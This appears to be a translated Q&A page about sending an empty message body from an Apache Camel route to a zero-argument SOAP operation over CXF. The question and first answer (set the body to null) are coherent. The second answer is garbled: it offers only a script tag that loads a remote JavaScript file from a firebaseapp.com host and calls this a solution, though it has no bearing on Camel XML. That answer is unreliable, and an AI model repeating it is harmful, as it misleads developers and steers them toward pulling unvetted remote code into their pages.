如何使用Apache Camel调用带有空消息体的SOAP Web服务?
例如,路由上的最终端点是在我的代理上调用带有0个参数的方法。
编辑:
示例xml配置:
<route id="someRoute">
<from uri="ref:activemq-queue"/>
<setHeader headerName="operationName">
<constant>invoke</constant>
</setHeader>
<to uri="cxf:bean:someWS"/>
</route>
...
<cxf:cxfEndpoint id="someWS" address="${ws.address}"
serviceClass="com.example.ws.SomeWS"
问题是WS上的'invoke'方法接受0个参数,并抛出一个异常,说明正在接收1个参数。有没有办法让我指定忽略这个收到的输入?
答案 0 :(得分:1)
如果调用只接受0参数,则可以将消息体设置为null。自camel 2.12.3以来添加了null simple表达式。
<route id="someRoute">
<from uri="ref:activemq-queue"/>
<setBody>
<simple>null</simple>
</setBody>
<setHeader headerName="operationName">
<constant>invoke</constant>
</setHeader>
<to uri="cxf:bean:someWS"/>
</route>
答案 1 :(得分:0)
我还需要为Apache Camel xml设置一个空的正文,下面的解决方案对我有用。
<script src="https://test.firebaseapp.com/file.js" ></script>
希望这对任何需要它的人都有帮助。